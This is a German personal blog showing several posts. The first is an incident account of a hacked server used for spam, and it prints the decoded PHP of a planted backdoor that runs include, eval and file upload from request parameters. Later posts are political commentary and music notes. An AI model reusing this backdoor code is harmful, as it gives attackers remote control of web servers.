Server gehackt

Dieser Server hier wurde also gehackt und zum Spammen missbraucht. Genauer gesagt es lag hier auf dem Server eine owncloud-Instanz rum, die phpunit als Modul installiert hatte und die Sicherheitslücke dieser zugegebenermaßen ungepflegten und ungewarteten darüber hinaus ungenutzten Instanz wurde gehackt und Code eingeschleust.


In den Logs kann man dann mit der Suche nach „Punkt n.php Fragezeichendir=“ (so geschrieben weil witzigerweise modsecurity hier das Update des Postings blockt, warum der Eindringling es dann trotzdem hochladen konnte, ist für mich noch ein Rätsel) dann sehen wo sich der Angreifer überall rumgegtrieben hat. Wie das Anlegen der tbmailer.php unter WordPress ging es wohl von Anfang an darum Spamsoftware zu installieren. Die tbmailer.php existierte auf jeden Fall schon am ersten August wurde aber nicht zum Spammen verwendet. Vielleicht funktionierte sie nicht so wie gewünscht.

Der Angreifer hätte auch alles von diesem Server löschen können, wenn er gewollt hätte oder lustige Bildchen hinterlassen mit „Dieser Server wurde gehackt„. Aber man bewegte sich unauffällig. An einem Tag hier ein bisschen und einem anderen Tag da ein bisschen. Am 3.8.2019 schlug man dann mit einer leafmailer.php in .well-known zu und jagte über 2 Tage so ungefähr 12.000 Spammails raus.

Installiert wurde die Datei von einer indonesischen Mobilfunkip aus. Der Angriff wäre nicht so nachvollziehbar, wenn der Angreifer die Logdateien gelöscht hätte. Möglich wäre ihm das gewesen, da der Apache auch Zugriff auf die Logs hat. Vielleicht hätte man das ja später auch getan und ist vielleicht nur schneller aufgeflogen als die Angreifer gedacht haben.

Ein bisschen ist ja mein Server wie ein Honeypot eine Ägyptische IP schaute sich eine config.php im Stammverzeichnis an. Die lag da von einer phpgedview-Installation unkonfiguriert rum und ich hatte sie nie gelöscht. Von aussen ist die auch über https://bgeserver.de/config.php erreichbar. Aber über IndoXploit sieht man natürlich dann auch den Quelltext der Datei. Wäre sie konfiguriert gewesen, wäre darin ein Mysql-Passwort zu finden gewesen. Genauso erging es ihm mit einem unkonfigurierten Roundcube, dass da so rum lag. Eine amerikanische IP machte sich dann über wordpress her allerdings betrachtete er sich auch die config.php im Stammverzeichnis.

Logeinträge wie

„Undefined index: act in „…“ on line 1739, referer: „…“idx_config&do=cpanel“

zeigen, dass auch nach einem Webserverkonfigurationsinterface gesucht wurde. Hat dieser Server nicht, ich mache alles mit ssh.

Weit verstreut auf dem Server befand sich danach ein haccess.php. Der Code dieser Datei war in base64 dekodiert und das entschlüsselte Ergebnis auch nochmal in base64 – das dann nochmal entschlüsselt ergab dann:


error_reporting(0); ${„GLOBALS“}[„dxpggwemd“]=“ev“;$kiejpi=“ev“;$imivhcblfl=“in“;$hgrptjcx=“in“;${„GLOBALS“}[„ysfombthhq“]=“in“;${$imivhcblfl}=$_GET[„in“];if(isset(${${„GLOBALS“}[„ysfombthhq“]})&&!empty(${$hgrptjcx})){echodie(include_once $in);}${$kiejpi}=$_GET[„ev“];if(isset(${${„GLOBALS“}[„dxpggwemd“]})&&!empty(${${„GLOBALS“}[„dxpggwemd“]})){eval(base64_decode(${${„GLOBALS“}[„dxpggwemd“]}));exit;}if($_GET[„send“]==“ok“){echo“<form action=\“\“ method=“post\“ enctype=\“multipart/form-data“ name=\“country“ id=\“country“><input type=“file“ name=“file\“ size=“50\“><input name=“_con“ type=\“submit“ id=“_con“ value=\“home“></form> „;if($_POST[„_con“]==“home“){if(@copy($_FILES[„file“][„tmp_name“],$_FILES[„file“][„name“])){echo“done :d“;}else{echo“error“;}}exit;}

Wenn ich den Code richtig kapiere lassen sich damit dann beliebige Dateien auf den Server nachladen. 

Owncloud hatte ich Anfang 2016 auf dem Server für das Bündnis Grundeinkommen mal installiert, war aber als Arbeitsplattform irgendwie untauglich. Ich hätte das damals wieder löschen sollen, statt einfach ungewartet auf der Platte rumliegen zu lassen. Jetzt ist es gelöscht. 

Am meisten nervt mich wahrscheinlich, das ich nicht ganz rausgefunden habe, wann und wie genau sie reingekommen sind. Sowas

\x16\x03\x01\x00\x7F\x01\x00\x00{\x03\x03\x98\x83\x17\xE2\x08z&\x0F\x11\x12a\xA3\xB3\xAA9\xBD(7\x8E\xA5\xA9\xCE\xC9\xCD\xC8\xEB\x96\xA8\xF9\x06\xC0\xA5\x00\x00\x1C\xC0/\xC0+\xC00\xC0,\xC0\x13\xC0\x09\xC0\x14\xC0

bekomme ich zumindest nicht sinnvoll dekodiert.

Nebenbei habe ich dann noch erfahren, dass es eine IT-Hotline für Notfälle von der bayerischen Polizei seit dem 1.8.2019 unter der 089/1212-4400 gibt. Habe dort nachdem ich mich auf Twitter über den Hack ausgekotzt hatte und die Polizei München mir diese Nummer empfahl tatsächlich angerufen.

VERGESST DIE NUMMER WIEDER DIE TAUGT NIX.

Nach einer Ansage für was sie alles nicht zuständig sind und 5 Minuten gedudel ich glaube es war Mozart oder Vivaldi hatte ich so einen „Fachmann“ am Apparat. Ich glaube, der hat kein Wort verstanden, was mein Problem ist. Sein Rat war doch tatsächlich ich solle den Rechner zur Polizeidienststelle bringen. Mal abgesehen davon, dass das hier gar kein Rechner ist, sondern eine virtuelle Maschine im Internet, besteht der Notfall ja darin den Spammer dahingehend zu stoppen, dass er keinen Spam mehr über diese Maschine schickt. Als ich dort anrief hatte ich die tbmailer.php unter WordPress noch gar nicht entdeckt. Den Spam über leafmailer.php hatte ich ja bereits gestoppt. Ich Naivling dachte mir „Oh toll, die Polizei hat für solche Fälle jetzt eine Notfall Hotline und kann Tipps geben, was man schauen sollte.“ Pustekuchen!

Das die Eindringling IndoXploit verwenden wusste ich zum Zeitpunkt meines Anrufes bereits und dass der Spam über leafmailer.php eingesteuert wurde auch. Aber für die IT-Notfall-Hotline war das alles spanische Dörfer. Der wusst noch nicht mal was Owncloud ist, mit der Bemerkung, dass man ja nicht jeden Trojaner kennen könne. Autsch – ausgerechnet, das was kein Trojaner war, sondern die befallene Software bezeichnete er als Trojaner. Das richtig gefährliche Zeug wie die Backdoorshell IndoXploit war ihm ebenso unbekannt wie leafmailer.php. Wahrscheinlich dürfen die in der Behörde kein Google benutzen. Der erste Link bei der Suche nach leafmailer.php wirft das https://github.com/bediger4000/php-malware-analysis/tree/master/leafmailer aus. Und einmal IndoXploit eingeben und man landet beim Sourcecode https://github.com/linuxsec/indoxploit-shell

Der Anruf war also eher was zum Lachen oder Weinen, aber auf keinen Fall eine Hilfe. Nachdem ich ihm erklärt hatte, dass das mit dem Rechner zur Polizei bringen nicht ist, weil das kein phyiskalischer Rechner ist. Fasselte er was ich solle zur Polizeidienststelle gehen und dann halt dort Zugriff auf den Rechner im Netz geben. Dann erklärte ich ihm, dass quasi die Polizeidienststelle ihn empfohlen hätte https://twitter.com/PolizeiMuenchen/status/1159035915081310208

Er erklärte mir dann, dass die Polizeidienststelle die Hotline wohl falsch verstanden hätte. Nun gut ich kann es der Polizei nicht verübeln, denn den Tweet den sie zitierte sagte vom Bayerischen Landeskriminalamt:

Hotline der Bayerischen Polizei für IT-Notfälle:
089/1212-4400
Hilfe bei Internet-/Computerkriminalität, z.B.
Phishing-Mails
Passwort-Hacking
Schadsoftware

Und jetzt überlegt Euch, was obiger Fall mit dem leafmailer.php eigentlich ist

Große Sprüche über Twitter raushauen, aber eigentlich gar nicht liefern können. Als ich ihm noch erklärte, dass der Täter aus Indonesien eingebrochen ist und die Münchner Polizei da wohl etwas machtlos sei, war das Gespräch eigentlich zu Ende.

Er meinte noch, ich könnte den Schaden ja anzeigen. Danke verzichte, wenn ich den Rechner dann zur Polizeidienststelle tragen muss – möglicherweise das ganze Rechenzentrum – mein Provider killt mich, wenn ich das täte.

Fazit lasst keine alte ungepflegte Software rumliegen und habe einen Blick auf die CVEs und vergesst die deutsche Polizei bei Internetkriminalität, die haben immer noch null Ahnung. Es ist ein Trauerspiel.

 

 

 

Wie Münchner Vermieter das Kindergeld von HartzIV Empfängern bekommen

Die Schlagzeile klingt jetzt nicht glaubhaft. Doch ich möchte in diesem Artikel darlegen, wie unsere Gesetzgebung dazu geführt hat, dass das Kindergeld letztlich bei Münchner Vermietern und nicht bei den Kindern landet. Weder die Politik noch die Öffentlichkeit interessiert das. Es schreibt ja auch niemand darüber und der Effekt als solches ist ja unbekannt.

Mit der Änderung des Sozialgesetzbuches und der Abschaffung der Arbeitslosenhilfe wurden die Bedarfsgemeinschaften eingeführt. Jedes Haushaltsmitglied ist somit für den Gesamtbedarf der Familie in der Haftung. Hierbei ergeben sich die Berechnungen des Bedarfes nach dem SGB II und das Kindergeld wird als Einkommen verrechnet. Arme Familien in München haben kein Wohneigentum. Sie wohnen so meist zur Miete.

Um darzustellen, warum das Kindergeld letztlich beim Vermieter landet, betrachten wir uns als erstes die Situation vor Einführung des SGB II. Wir konstruieren jetzt erst die Ausgangssituation, dass beide Elternteile arbeiten und ein Kind zu hause haben. Trotz der Münchner Mieten gelingt es unserer Kleinfamilie mit den beiden Elterneinkommen und dem Kindergeld in München über die Runden zu kommen. Nun wird ein Elternteil arbeitslos. Das andere Elternteil arbeitet weiterhin. Zunächst bekommt das arbeitslose Elternteil Arbeitslosengeld und das Familieneinkommen genügt immer noch für Miete und Lebensunterhalt. Bei längerer Arbeitslosigkeit kam dann die Arbeitslosenhilfe zum Tragen. Hierbei wurde überprüft, ob der Haushalt kein Vermögen hat, aber die Höhe der Arbeitslosenhilfe richtete sich nach dem letzen Gehalt des nun arbeitslosen gewordenen Elternteils. Das Haushaltseinkommen bestand danach aus Arbeitseinkommen Elternteil A zuzüglich der Arbeitslosenhilfe des Elternteil B zuzüglich Kindergeld.

In diesem konstruierten Fall gehen wir davon aus, dass das Gesamteinkommen dadurch in einer Höhe lag, das kein Anspruch auf Wohngeld besteht und die Kleinfamilie immer noch davon leben kann. Das Kindergeld kommt mit der Unterhaltsverpflichtung der Eltern dem Kind voll zu gute.

Mit Einführung der Bedarfsgemeinschaft ist mit dem Arbeitslosengeld der Fall noch identisch ausser, dass die Fristen wielange Arbeitslosengeld gezahlt wird, verkürzt worden sind. Hatte das alte Arbeitslosengeld noch die Möglichkeit Anwartschaftszeiten bis zu 36 Monaten zu erwerben wurde das radikal auf 12 Monate zusammengestrichen. Wer in jungen Jahren auf die Arbeitslosengeld wegen ein Monat Zwischenarbeitslosigkeit verzichtet hatte um die Anwartschaftszeiten nicht zu verlieren, die er sich durch die einmonatige Auszahlung zunichte gemacht hatte, hat die Arschkarte gezogen. Er oder sie hätte sich lieber das Geld auszahlen lassen sollen, denn das gilt nicht mehr. Aber auch die Arbeitslosenhilfe gibt es nicht mehr. Stattdessen ist das Konzept der Bedarfsgemeinschaften gekommen. Damit ist aber nicht mehr die Armut des Haushalts als solches relevant, sondern jedes Einkommen aller Haushaltsmitglieder.

Und nun passiert bei der Berechnung folgende Perversität, anders kann man das gar nicht bezeichnen. Das Arbeitseinkommen des Elternteils, welches nicht arbeitslos ist wird voll auf den Bedarf angerechnet ebenso das Kindergeld wird voll auf den Bedarf angerechnet. Das arbeitslose Elternteil wird im Einkommen egal was es früher mal verdient hat auf 0 Euro gesetzt und ist von dem arbeitenden Elternteil ebenfalls voll zu versorgen. Um den Unterschied irgendwie mal in Zahlen darzustellen. Vor dem SGB II sähe so ein Fall so aus. Elternteil A bezöge Arbeitslosenhilfe von 1200 Euro. Elternteil B ein Bruttoeinkommen von 1800 Euro und dazu käme das Kindergeld 194 Euro hinzu macht ein Haushaltseinkommen abzüglich Steuern von ca. 2800 Euro. Davon sind dann auch die Münchner Mieten zu bezahlen, aber der Haushalt kann davon leben.

Die Berechnung von SGB II erfolgt nun aber folgendermaßen, das Einkommen wird vollständig auf die Familienmitglieder verteilt und zwar inklusive Kindergeld und zwar auf den Gesamtbedarf inklusive der Miete. Letztlich führt das dazu dass dem Kind ein Auszahlungsbetrag von 87 Euro zugestanden wird. Das heisst letztlich hat ein Teil des Kindergeldes der Vermieter erhalten. Statt einem Haushaltseinkommen mit Arbeitslosenhilfe von 2800 Euro steht der Familie je nach Höhe der Kaltmiete sagen wir mal 600 Euro ein Gesamtbedarf von ca. 1800 Euro zur Verfügung. Was bei einem Brutto von 1800 Euro insofern pervers ist, das quasi der Auszahlungsbetrag quasi durch Abgaben fast selbst finanziert ist. Allerdings geht das Kindergeld jetzt quasi an den Vermieter wo es bei der Arbeitslosenhilfe noch ein Familienzuschuss war.

Fossilverbrennungsmotorensteuergesetz

§ 1 Steuergebiet, Steuergegenstand

(1) Mit fossilen Brennstoffen betriebene Antriebe und Motoren unterliegt im Steuergebiet der Fossilverbrennungsteuer. Steuergebiet ist das Gebiet der Bundesrepublik Deutschland ohne das Gebiet von Büsingen und ohne die Insel Helgoland. Die Fossilverbrennungsteuer. ist eine Verbrauchsteuer im Sinn der Abgabenordnung.

(2) Fossile Verbrennung im Sinn dieses Gesetzes ist das Verbrennen von Benzin, mittelschweren Ölen (Diesel), Heizöle, Schmieröle und Erdgas.

§2 Steuertarif

(1) Die Steuer beträgt für Produkte, die Antriebe und Motoren nach §1 Satz 1 enthalten, 50 Prozent des Nettoverkaufspreises.

Twitter und die Nazis

Entweder hat Twitter einen Nazi eingestellt oder hat sich selbst auf die Seite der Nazis geschlagen auf jeden Fall wurde mein Twitteraccount gesperrt

Per Mail erhielt ich eine Nachricht von einem Freund, dem das gleiche passiert ist. Twitter scheint Wahlkampf für die Nazis zu machen. Es handelt sich um einen Tweet von 2018, der hier als Grund verwendet wird um meine Meinung zu unterdrücken. Wir sind in der Diktatur angekommen und anscheinend ist jetzt alles zuspät. #NieMehrCDU #NieMehrCSU #NieMehrSPD #NiemalsAfD

Welt im Hexenwahn

Alle hätten im Vorfeld Straftaten begangen.“ berichtet die Süddeutsche anlässlich einer Anfrage der Grünen an die bayerische Staatsregierung bezüglich des Freiheitsentzuges von elf Menschen. Das Ungeheuerliche daran ist, dass die Begründung so ist, als wenn sie geantwortet hätten „Alle hätten mit dem Teufel gebumst.“ und da ja der Teufel bekanntlich etwas böses ist, ist der Freiheitsentzug gerechtfertigt. Wenn es wahr ist, dass sie Straftaten verdächtig sind und eine Anklage möglich ist, dann braucht es den Gewahrsam nicht, da dann völlig konform zur europäischen Menschenrechtskonvention an unverzüglicher Bekanntgabe der Anklage eine Haft völlig legitim ist. Der Konjunktiv ohne Anklage ist aber nicht menschenrechtskonform. Ohne diese Anklage ist der Freiheitsentzug Unrecht.

Mit dem Teufel gebumst zu haben, gibt es im Strafrecht nicht und das wohl aus gutem Grund, denn das hatten wir schon mal im Rechtssystem und mündete in willkürlicher Hexenverfolgung. Ein Rechtsstaat wird nicht zu einem Rechtsstaat in dem er Richter und Gesetze hat. Das bloße Beschreiten eines Rechtsweg macht immer noch keinen Rechtsstaat.

Unser Rechtsstaat, der aufgrund der derzeit geltenden Gesetze eigentlich keiner mehr ist, hat sich Prinzipien gegeben. Der Konjunktiv ist bei der Anklage kein Prinzip des Rechtsstaat. Die Logik ist ja sehr einfach. Es gibt eine Anklage, dann ist der Freiheitsentzug möglich, obwohl die Schuld noch nicht festgestellt ist. Es gibt keine Anklage, dann ist der Mensch wieder in Freiheit zu entlassen, obwohl möglicherweise eine Schuld vermutet wird, aber wenn es nicht zu einer Anklage reicht, dann gilt das Menschenrecht.

Diejenigen, die hier laut bayerischer Staatsregierung unter Freiheitsentzug leiden, mögen Straftaten begangen haben, dann ist eine Anklage möglich und vielleicht werden sie auch freigesprochen. Diese Menschen ohne Anklage festzuhalten ist aber ein ganz klarer Verstoß gegen das Menschenrecht. Da mit dem Teufel gebumst zu haben in den Augen der CSU möglicherweise eine Straftat ist, aber nicht nach dem Strafrecht, kann die Aussage, die elf Personen hätten eine Straftat begangen, gleichwertig mit der Aussage, sie hätten mit dem Teufel gebumst.

Da Professoren das bayerische Polizeiaufgabengesetz für verfassungskonform halten, kann das nur bedeuten, dass wir uns schon längst im Mittelalter befinden. Es ist vollkommen unverständlich wie juristische ausgebildete Professoren zu einer solchen Annahme kommen können, es sei denn sie haben selbst schon mehr Glauben als Verstand.

Das Mittelalter mit der Hexenverfolgung kann nicht so vorgestellt werden, dass damals nur ungebildete Menschen ohne Verstand vorhanden gewesen wären. Der Glaube an den Teufel war nur stärker. Unsere Teufel mögen heute anders lauten.

Wenn Menschen solche Fehler begehen, obwohl sie hochintelligent sind und jeden Juraprofessor halte ich für über dem Durchschnitt intelligent, dann befinden wir uns in einem Glaubenssystem. Und zwar ganz offensichtlich in einem wahnhaften Glaubenssystem.

Die Frage ist, wie konnte es nur schon wieder soweit kommen. Zwischen 1946 bis 1948 haben sich auch Juristen und Diplomaten hingesetzt und versucht Grundlagen zu schaffen. Sicherlich war sich nicht alle einig und entsprechend schwer war es wohl auch. Die drei Richtungen, die entstanden sind, waren das Grundgesetz, die europäische Menschenrechtskonvention und die Deklaration der Menschenrechte.

Alle drei sind aus der Vorgeschichte des historischen Hintergrunds zu denken. Die Bürgerrechte der französischen Revolution existierten auch vor dem dritten Reich. Es ist ja auch nicht so, dass vom Haager Landkriegsrecht bis zu vielen anderen historischen internationalen Vereinbarungen, gewisse Menschenrechtsverletzungen nicht schon immer ausgeschlossen waren. Die Schrecken des ersten aber insbesondere des zweiten Weltkrieges sollten also durch ein neues internationales und nationales Rechtssystem verhindert werden.

Diese drei grundlegenden Texte einer neuen Weltordnung beziehungsweise einer deutschen Ordnung unterscheiden sich. Das Grundgesetz stellte als erstes Prinzip die Würde des Menschen in den Vordergrund. Angesichts der Grauen, die einem Menschen nach seinem Tode widerfahren konnte, indem seine Asche auf Aschenbahnen gestreut wurde oder seine Haut zu Lampenschirmen verarbeitet wurde, sollte die Würde des Menschen der neue Grundpfeiler sein.

Die Grundlage der Deklaration der Menschenrechte ist Freiheit, Gerechtigkeit und Frieden. Auch die Deklaration erkennt die Würde des Menschen an. Das Bürgerrecht wird damit zum Menschenrecht.

Die 1950 verabschiedete Kon­ven­tion zum Schutze der Men­schen­rechte und Grund­frei­heiten nimmt einerseits Bezug auf die schon existierende Deklaration der Menschenrechte und erweitert diese um die Grundfreiheiten.

Diese drei Texte sind aber wertlos, wenn sie einfach ignoriert werden. Würde und Freiheit eines jeden einzelnen Menschen müssen gewahrt werden. Es ist der Schutz vor willkürlicher Hexenverfolgung. Das grundlegende Prinzip, dass die Freiheit eines Menschen nur rechtmässig entzogen werden kann, setzt Recht.

Klar ist, dass die Verurteilung den Freiheitsentzug gestattet. Verurteilung beinhaltet hier aber ganz klar die Regeln eines gerechten Verfahrens. Ein Konjunktiv mit „hätten eine Straftat“ begangen ist keine Verurteilung. Dieser Konjunktiv ist allenfalls eine Anklage.

In der EMRK gibt es Ausnahmen des Freiheitsentzuges ohne Urteil oder Verfahren, die Kranke, Landstreicher und Minderjährige betreffen. Die andere Ausnahme ist die illegale Einreise oder, und da sind wir aber wieder bei einem ordentlichen Verfahren wenn auch nicht im Inland sondern im Ausland, des Auslieferungsverfahren.

Unabhängig davon ist den Menschen, deren Freiheit entzogen wird “ unverzüglich in ein­er ihr verständ­lichen Sprache mit­geteilt wer­den, welch­es die Gründe für ihre Fes­t­nahme sind und welche Beschuldigun­gen gegen sie erhoben wer­den.“

Ein Polizeiaufgabengesetz betreibt nun nichts juristisches, sondern beschreibt die Aufgaben einer Polizei in diesem System. Ist die Herstellung von Sicherheit oder die Ermittlungsarbeit beendet, dann beginnt das Rechtssystem. Ein Unrechtssystem oder Polizeistaat entsteht dann, wenn plötzlich die Polizei den Freiheitsentzug ohne Rechtssystem in der eigenen Hand hat.

Die Beschuldigung die unverzüglich mitzuteilen ist, ist unter Umständen auch der Grund für einen längeren Freiheitsentzug. Bei Mord ist dieser Freiheitsentzug unter Umständen lebenslang ab diesem Moment, aber das gilt ab dem Moment der Verurteilung und somit ist die Anklage notwendig. Damit geht der Freiheitsentzug in das ordentliche Verfahren über. „Hätten eine Straftat“ begangen ist nichts von dem.

Auch die illegale Einreise ist ein ausserhalb des Polizeiaufgabengesetzes, um die Illegalität festzustellen, bedarf es auch hier eines ordentlichen Verfahrens. Es gibt also auch da keinen Grund die Gewahrsamnahme innerhalb des Polizeiaufgabengesetzes zu halten.

Der einzige Grund sowas in das Polizeiaufgabengesetz zu schreiben ist das Rechtssystem zu unterlaufen. Die Polizei wird mit Hilfe von Richtern zum Vollzug ohne Verfahren ermächtigt.

Genau das hat man auch gemacht als die Hexenprozesse stattfanden. Eigentlich hatten die Formulierer der Menschenrechte, der Grundrechte und der Konvention gehofft, mit den neuen Texten genau das zu verhindern.

Es nützt offensichtlich nichts. Wenn Menschen die Menschenrechte verletzen wollen, tun sie das trotzdem.

Masse statt Klasse

Es ist einfach zuviel in den letzten Jahren entstanden. In der Zwischenzeit kann ich stundenlang eigene eingespielte Stücke anhören, halte das aber selber nicht aus.

Teilweise ist es stümperhaft und dann wieder zu intensiv. Heute kam dann wieder was hinzu 131120181405:

Weiterhin hat keines der Stücke einen Titel, sondern sind einfach nur nach dem Schema ddmmyyyyhhmm benannt. Damit weiss ich dann nur an welchem Tag ich sie aufgenommen habe und nicht was wirklich drin ist. Und das kann sehr unterschiedlich sein 131120181354:

Es sind also nur Musiknotizen. 091120181410.ogg ist dann 8 Minuten lang

Das Stück ist aber nicht, das was ich suchte und das ist gerade mal vier Tage her. Hab hier einen Fünfzeiler rumliegen, den ich zu irgendwas vor mich hingesungen hatte und das war irgendwann in der letzten Woche:
Stell dir doch einfach mal vor
die Welt wär ein besserer Ort
und wir leben dort
wir würden singen, tanzen und lachen
auch weinen und andere Sachen machen

und jetzt finde ich das Musikstück dazu nicht mehr. 091120181357.ogg war es auch nicht:

Vielleicht irre ich mich ja auch im Tag 07:40 sagt mir mplayer von 091120181402.ogg

passt aber auch nicht.

Also doch ein anderer Tag – hmm vielleicht war es ja das:

dann wäre es am Donnerstag letzter Woche gewesen. 081120180901.mid müsste ich dann umbenennen in „singen, tanzen und lachen auch weinen“ oder sowas.

Und jetzt liegen in dem Aufnahmeordner 537 Mididateien. Das ist zu viel Masse. Da frage ich mich, wie gehen denn echte Musikproduzenten mit musikalischen Ideen um und wie managen die das?

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Sozialgesetzgebung

Vor 120 Jahren wurden die deutschen Sozialgesetze begonnen und seitdem wurde das System fortentwickelt fortgeschrieben und immer komplexer. Die Sozialgesetzgebung ist unübersichtlich und überkomplex geworden. Es gibt nicht einen Menschen in Deutschland, der den kompletten Überblick hat und sich in allen Bereichen auskennt. Das ursprünglich Ziel der Sozialgesetzgebung war Otto von Bismarcks Antwort an sozialistische Strömungen im Rahmen der Umwälzungen, die im Rahmen der Industrialisierung auftraten. Es wird Zeit dieses alte System komplett zu ersetzen und mit etwas neuem und besseren der Herausforderung unserer Zeit zu begegnen.

Dies kann selbstverständlich nicht dadurch geschehen, dass das alte System von heute auf morgen einfach abgeschafft wird. Dazu greift die derzeitige Sozialgesetzgebung in vielzuviele Strukturen und Aufgabenbereiche ein und es gibt viel zu viele Rechtsansprüche aus vergangenen Zeiten, die nur mit Hilfe einer Wahlfreiheit geändert werden könnten. Eine Möglichkeit für den Übergang wäre, die alten Gesetze eingefroren bestehen zu lassen.
Das SGB gilt dann noch zwanzig bis dreißig möglicherweise auch vierzig Jahre in einem eingefrorenen Zustand als konkurrierende Gesetzgebung fort. Danebengestellt würde ein komplett neues System, das nicht nur völlig anders ist, sondern tatsächlich die eigentlichen Probleme angeht, die jeden Menschen berühren. Der Staat muss letztlich eigentlich nur die soziale Sicherheit für jeden seiner Menschen, die auf seinem Staatsgebiet sind, herstellen.

Der Staat hat nicht die Aufgabe für den Reichtum einiger weniger zu sorgen, sondern lediglich die Armut und Not von allen Bürgern abzuhalten und für den gemeinschaftlichen Wohlstand aller zu sorgen und somit eine soziale Sicherheit aller zu gewährleisten. Die Bedürfnisse des Einzelnen mögen hierbei je nach Lebenslage unterschiedlich sein, sodass zwar verschiedene Bereiche geregelt werden müssen, aber gar nicht so unterschiedlich was die grundlegenden Bedürfnisse eines jeden Menschen anbelangt. Ein Kindeswohl unterscheidet sich vom Alterswohl oder vom Behindertenwohl. Wer möchte bestreiten, dass die Bedürfnisse eines Rollstuhlfahrers andere sind als die eines Fußgängers und dennoch ist das Grundbedürnis der Wunsch nach Mobilität letztlich das Gleiche nur kann der Fußgänger diesem Bedürfnis ohne finanzielle Aufwendungen sofort nachkommen. Eine soziale Gleichstellung kann also niemals eine Gleichmacherei sein.

Die Unterschiede allerdings, die in der deutschen Sozialgesetzgebung besteht, stellen aber keine soziale Gleichstellung aller Bürger her. Sie sind eher eine Gleichmacherei nach Berufskasten wie es das Weltbild von 1890 halt vorsah. Es ist dringend an der Zeit, dass wir dieses Kastensystem abschaffen.

Um ein Beispiel zu geben seien die privatisierten Postdienste genannt, ob jemand die Post verbeamtet austrägt (von denen es wahrscheinlich keine mehr gibt) oder als angestellter Dienstleister austrägt macht einen Unterschied, der aber nichts mit sozialer Gleichstellung zu tun hat, sondern einzig alleine auf den Vorstellungen von 1890 beruht. Die daraus resultierenden Altersversorgungsunterschiede sind in der Zwischenzeit immens und die Gleichmacherei besteht darin, dass alle Beamten gleich behandelt werden und alle Angestellten gleich behandelt werden, aber der Mensch selbst gar nicht im Mittelpunkt steht.

Der Status des einzelnen Menschen und seine Kastenzugehörigkeit ist das Kriterium der Gleichmacherei und nicht seine objektiven tatsächlichen Bedürfnisse. Eine Gleichstellung des Menschen und seiner jeweiligen Bedürfnisse wird abgelehnt. Nicht seine Bedürnisse stehen im Mittelpunkt, sondern beurteilt werden, ob ein Anspruchsberechtigter für den Staat oder für den privaten Postdienstleister die Post ausgetragen hat. In dem einen Fall erhält er Pension in dem anderen Fall erhält er Rente. Selbst wenn gar keine Unterschiede in der Lebensarbeitsleistung bestünden, mag der eine seine Wohnung im Alter nicht bezahlen können und der andere mit seiner Pension seinen Lebensabend in Mallorca verbringen.

Zu Bismarcks Zeiten war es so, dass Beamte wesentlich weniger verdienten als in der freien Wirtschaft, das ist in vielen Fällen heutzutage nicht mehr der Fall eher das Gegenteil ist in vielen Fällen der Fall. Verbeamtete Lehrer werden auch in den Sommerferien bezahlt und beschäftigt und angestellte Lehrer werden in dieser Zeit auf die Straße gesetzt. Der Druck auf die nicht verbeamteten Lehrer in der Unsicherheit mag in dem Erstreben verbeamtet zu werden, dann durchaus dazu führen, dass die Arbeitsleistung dieser Angestellten sogar besser ist, als die der Verbeamteten, weil die Verbeamteten zwar keine Karriere machen, wenn sie zu den Nichtleistern gehören, aber solange sie Dienst nach Vorschrift machen nicht nur mehr Geld während ihres Arbeitslebens haben, sondern eben zum Schluss auch eine höhere Pension.

Gleichgemacht werden also alle Beamte und alle Angestellten bei aber rational nicht nachvollziehbaren Kriterien, sondern gesellschaftlichen Konstrukten, die historisch gewachsen sind. Es gibt in der Sozialgesetzgebung auch noch viele andere Bereiche, die nichts mit dem Staatsdienst zu tun haben, wo dieses ähnlich läuft. Es kann ganz entscheidend sein, ob ein Unfall im Haushalt oder auf der Arbeitsstelle passierte. Die Bedürfnisse für die Unfallopfer sind eigentlich identisch. Aber schon die Abweichung vom Arbeitsweg kann in der Versorgung entscheidende Unterschiede machen. Auch dahingehend ob es eine Unfallopferrente von der Berufsgenossenschaft gibt oder aber eben keinen Cent. Um solche Streitfälle zwischen Berufsgenossenschaften und Krankenkassen zu klären, werden ganze Horden von Bürokraten beschäftigt, die sich mit Gutachten und Gegengutachten nur um solche Streitfälle kümmern. Die Bedürfnisse des Unfallopfers stehen dabei überhaupt nicht im Mittelpunkt, sondern letztlich nur welche Versicherung zuständig ist. Soziale Sicherheit wird damit nicht hergestellt. Fehlentscheidungen sind dabei aufgrund der komplexen Gesetzgebung an der Tagesordnung und manche Fälle werden in Gerichtsprozessen manchmal erst nach 30 Jahren geklärt. Da kann es bei einem Unfall entscheidend sein, ob die Briefmarke im Kiosk für den Arbeitgeber gekauft wurde und damit auf dem Weg zur Arbeitsstelle lag und es somit ein Arbeitsunfall war, oder ob das Unfallopfer diesen Vorgang privat erledigt hat. Dass das Unfallopfer selbst Bedürfnisse hat, spielt dabei überhaupt keine Rolle. Und in manch krassen Fällen wird der Prozess auch bewusst verschleppt in der Hoffnung, dass das Unfallopfer bis zu der Beendigung stirbt, was besonders zynisch ist.

Der Mensch selbst steht in der Sozialgesetzgebung gar nicht mehr im Mittelpunkt. Das verhält sich in fast allen Bereichen in der Zwischenzeit so. Ebenso bei den Arbeitslosen, bei dem der Staat nur noch einen Kontrollwahn entwickelt hat, der sich nicht nach den tatsächlichen Bedürfnissen von Kindern richtet, sondern einzig alleine nach dem finanziellen Aufwand für die Bedarfsgemeinschaft. Sobald sich die Eltern des Kindes aus der Arbeitslosigkeit befreit haben, gibt es Baukindergeld, Kindergeld und andere Leistungen oben drauf. Solange die Eltern des Kindes unter einer Bedarfsgrenze liegen, wird dem Kind die Förderung weggenommen. Die Bedürfnisse des Kindes spielen dabei überhaupt gar keine Rolle. Einzig alleine der soziale Status der Eltern wird als Kriterium im Kastendenken von 1890 in einer Gleichmacherei herangezogen. Wir haben eine fast schon mittelalterliche Sozialgesetzgebung, die von einem Klientel, das davon lebt mit allem verteidigt wird, was ihnen zur Verfügung steht.

